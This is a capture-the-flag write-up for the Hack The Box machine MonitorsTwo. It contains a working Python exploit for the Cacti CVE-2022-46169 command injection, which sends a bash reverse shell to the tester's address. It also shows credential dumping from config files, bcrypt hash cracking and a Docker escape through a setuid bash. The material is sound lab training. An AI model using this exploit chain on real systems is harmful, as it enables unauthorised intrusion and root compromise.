MonitorsTwo Writeup
02 September 2023 #CTF #HTB #box #easy #linuxEnumeration
nmap
$ sudo nmap -T4 -sC -sV 10.10.11.211
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
Going to the website, we get the login page for Cacti (network monitoring software):
The version is 1.2.22 which is vulnerable to CVE-2022-46169, an unauthenticated remote code execution.
Foothold
The code execution happens in /remote_agent.php
. This endpoint requires authentication but can be bypassed by specifying a X-Forwarded-For
header:
Let's add the header with the loopback address:
The parameter vulnerable to command injection is poller_id
. To execute the command, we need to find valid values for the host_id
and local_data_ids
parameters.
Let's write a dirty python script to do this:
#!/usr/bin/env python3
import requests
HEADERS = {"X-Forwarded-For": "127.0.0.1"}
payload = ";bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'"
with requests.Session() as session:
session.headers.update(HEADERS)
for host_id in range(1, 10):
for local_data_ids in range(1, 10):
print(f"\rtrying host_id={host_id} and local_data_ids={local_data_ids}", end='')
url = f"http://10.10.11.211/remote_agent.php?action=polldata&poller_id={payload}&host_id={host_id}&local_data_ids[]={local_data_ids}"
session.get(url)
Let's run it:
$ ./cacti-rce.py
trying host_id=1 and local_data_ids=6
We get a hit with host_id=1
and local_data_ids=6
.
Privesc
Docker Escape
It looks like we are in a docker container. We can confirm this by listing the root:
www-data@50bca5e748b0:/var/www/html$ ls -Al /
total 292
-rwxr-xr-x 1 root root 0 Mar 21 10:49 .dockerenv
drwxr-xr-x 1 root root 4096 Mar 22 13:21 bin
[...]
There is indeed a .dockerenv
file.
We should harvest the web directory for creds. Let's first find all config files:
www-data@50bca5e748b0:/var/www/html$ find . -type f -ls 2>/dev/null | grep -i conf
6300 36 -rw-rw-r-- 1 www-data www-data 33929 Aug 14 2022 ./include/fa/js/conflict-detection.js
6301 16 -rw-rw-r-- 1 www-data www-data 13502 Aug 14 2022 ./include/fa/js/conflict-detection.min.js
6461 4 -rw-rw-r-- 1 www-data www-data 592 Aug 14 2022 ./include/fa/svgs/brands/confluence.svg
410551 8 -rw-rw-r-- 1 www-data www-data 5274 Aug 14 2022 ./include/vendor/csrf/csrf-conf.php
6268 8 -rw-rw-r-- 1 www-data www-data 5147 Dec 12 11:20 ./include/config.php
5959 108 -rw-rw-r-- 1 www-data www-data 108268 Aug 14 2022 ./docs/images/graphs-edit-nontemplate-configuration.png
5630 4 -rw-rw-r-- 1 www-data www-data 2220 Aug 14 2022 ./docs/Cacti-SSL-Configuration.html
5734 4 -rw-rw-r-- 1 www-data www-data 2133 Aug 14 2022 ./docs/apache_template_config.html
We can get the DB creds in ./include/config.php
:
[...]
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port = '3306';
[...]
The MySQL DB is in another container. We can access it and dump the user_auth
table inside the cacti
database:
www-data@50bca5e748b0:/var/www/html$ mysql -h db -u root -proot
[...]
MySQL [cacti]> SELECT username,password FROM user_auth;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |
| guest | 43e9a4ab75570f5b |
| marcus | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |
+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)
These are bcrypt hashes so if you don't have a dedicated cracking rig, it's going to take a few minutes:
$ hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt --user
[...]
marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey
[...]
I put username:hash
in my hashes
file so I need the --user
flag.
We can SSH in as marcus.
Marcus to root
When we login, we see that we have mail:
[...]
You have mail.
Last login: Thu Mar 23 10:12:28 2023 from 10.10.14.40
marcus@monitorstwo:~$
It is talking about 3 CVEs. The one we care about is the one affecting Moby (Docker).
marcus@monitorstwo:~$ cat /var/spool/mail/marcus
[...]
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization.[...]
[...]
This vulnerability allows unprivileged users (not in the docker group) to access and execute programs located in the /var/lib/docker
directory.
Let's go back inside the cacti container and look for setuid binaries:
www-data@50bca5e748b0:~$ find / -type f -user root -perm -u=s -ls 2> /dev/null
[...]
5431 32 -rwsr-xr-x 1 root root 30872 Oct 14 2020 /sbin/capsh
[...]
capsh
is not a default setuid executable and can be used to get a root shell:
www-data@50bca5e748b0:/var/www/html$ capsh --gid=0 --uid=0 --
root@50bca5e748b0:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Let's run the mount
command to find out the name of a directory in /var/lib/docker
:
root@50bca5e748b0:/var/www/html# mount
overlay on / type overlay (rw,relatime,[...]upperdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff,[...]
We'll use the one that ends with /diff
(I don't know of a better way to do this). Going back to the host, let's see if we can list the contents of the directory:
marcus@monitorstwo:~$ ls -Al /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff
total 240
drwx------ 2 root root 4096 Mar 21 10:50 root
drwxr-xr-x 3 root root 4096 Nov 15 04:17 run
drwxrwxrwt 2 root root 221184 May 11 12:12 tmp
drwxr-xr-x 3 root root 4096 Nov 15 04:13 var
Nice, we have a few directories available. To get root on the host, we'll copy /bin/bash
(in the cacti container) to /tmp
and set it as setuid:
root@50bca5e748b0:/var/www/html# cp /bin/bash /tmp
root@50bca5e748b0:/var/www/html# chmod u+s /tmp/bash
Now we should be able to execute it from the host as marcus:
marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff/tmp/bash -p
bash-5.1# whoami
root
Don't forget to use the -p
flag to preserve the setuid permissions.
Key Takeaways
- Try to reimplement PoCs yourself